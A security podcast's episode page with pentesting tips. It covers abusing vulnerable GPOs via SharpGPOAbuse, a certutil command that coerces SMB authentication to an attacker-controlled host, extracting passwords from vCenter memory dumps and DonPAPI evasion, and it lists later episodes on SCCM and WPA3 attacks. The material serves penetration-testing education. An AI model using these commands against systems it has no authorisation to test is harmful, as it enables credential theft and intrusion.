7MS #632: Tales of Pentest Pwnage – Part 59

7MS #632: Tales of Pentest Pwnage – Part 59

Today's tale of pentest pwnage includes some fun stuff, including:

    • SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you're ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder.
    • I'm not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s). If you're on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under.
    • DonPAPI got an upgrade recently with a focus on evasion!
    • When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you've got the vmss2core utility, which I couldn't find anywhere except the Internet Archive. Then I really like to follow this article to pull passwords from VM memory dumps.
    • Can't RDP into a victim system that you're PSRemote'd into? Maybe RDP is listening on an alternate port! Try Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | select-object portnumber`

And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!

Episoder(703)

7MS #663: Pentesting GOAD SCCM

7MS #663: Pentesting GOAD SCCM

Today we live-hack an SCCM server via GOAD SCCM using some attack guidance from Misconfiguration Manager!  Attacks include: Unauthenticated PXE attack PXE (with password) attack Relaying the machine account of the MECM box over to the SQL server to get local admin

21 Feb 29min

7MS #662: Pentesting Potatoes - Part 2

7MS #662: Pentesting Potatoes - Part 2

Hi friends, today we're talking about pentesting potatoes (not really, but this episode is sort of a homage to episode 333 where I went to Boise to do a controls assessment and ended up doing an impromptu physical pentest and social engineer exercise).  I talk about what a blast I'm having hunting APTs in XINTRA LABS, and two cool tools I'm building with the help of Cursor: A wrapper for Netexec that quickly finds roastable users, machines without SMB signing, clients running Webclient and more. A sifter of Snaffler-captured files to zero in even closer on interesting things such as usernames and passwords in clear text.

14 Feb 37min

7MS #661: Baby's First Hetzner and Ludus – Part 2

7MS #661: Baby's First Hetzner and Ludus – Part 2

Today we continue our journey from last week where we spun up a Hetzner cloud server and Ludus.cloud SCCM pentesting range! Topics include: Building a Proxmox Backup Server (this YouTube video was super helpful) Bridging a second WAN IP to the Hetzner/Ludus server Wrestling with the Hetzner (10-rule limit!) software firewall When attacking SCCM – you can get a version of pxethief that runs in Linux!

8 Feb 37min

7MS #660: Baby's First Hetzner and Ludus

7MS #660: Baby's First Hetzner and Ludus

I had an absolute ball this week spinning up my first Hetzner server, though it was not without some drama (firewall config frustrations and failing hard drives). Once I got past that, though, I got my first taste of the amazing world of Ludus.cloud, where I spun up a vulnerable Microsoft SCCM lab and have started to pwn it. Can't say enough good things about Ludus.cloud, but I certainly tried in this episode!

1 Feb 34min

7MS #659: Eating the Security Dog Food - Part 8

7MS #659: Eating the Security Dog Food - Part 8

Today I'm excited about some tools/automation I've been working on to help shore up the 7MinSec security program, including: Using Retype as a document repository Leveraging the Nessus API to automate the downloading/correlating of scan data Monitoring markdown files for "last update" changes using a basic Python script

24 Jan 28min

7MS #658: WPA3 Downgrade Attacks

7MS #658: WPA3 Downgrade Attacks

Hey friends, today we cover: The shiny new 7MinSec Club BPATTY updates A talk-through of the WPA3 downgrade attack, complemented by the YouTube livestream

17 Jan 32min

7MS #657: Writing Rad Security Documentation with Retype

7MS #657: Writing Rad Security Documentation with Retype

Hello friends! Today we're talking about a neat and quick-to-setup documentation service called Retype. In a nutshell, you can get Retype installed on GitHub pages in about 5 minutes and be writing beautiful markdown pages (with built-in search) immediately. I still absolutely love Docusaurus, but I think Retype definitely gives it a run for its money.

10 Jan 20min

7MS #656: How to Succeed in Business Without Really Crying - Part 21

7MS #656: How to Succeed in Business Without Really Crying - Part 21

Happy new year friends! Today we talk about business/personal resolutions, including: New year's resolution on the 7MinSec biz side to have a better work/life balance New training offering in the works Considering Substack as a communications platform A mental health booster that I came across mostly by accident

3 Jan 45min

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